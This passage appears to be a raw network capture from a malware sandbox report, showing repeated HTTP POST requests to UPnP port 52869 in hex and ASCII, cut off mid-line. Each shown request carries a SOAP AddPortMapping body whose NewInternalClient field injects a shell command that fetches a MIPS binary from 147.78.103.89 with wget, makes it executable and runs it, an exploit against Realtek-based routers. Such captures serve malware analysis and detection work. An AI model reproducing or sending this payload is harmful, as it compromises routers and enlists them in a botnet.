                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      142192.168.2.1533724185.146.174.3452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:34.936741114 CET971OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      143192.168.2.1533728185.146.174.3452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:35.024817944 CET971OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      144192.168.2.154041245.207.155.17352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:35.151247025 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:36.727917910 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:38.583920956 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:42.295754910 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 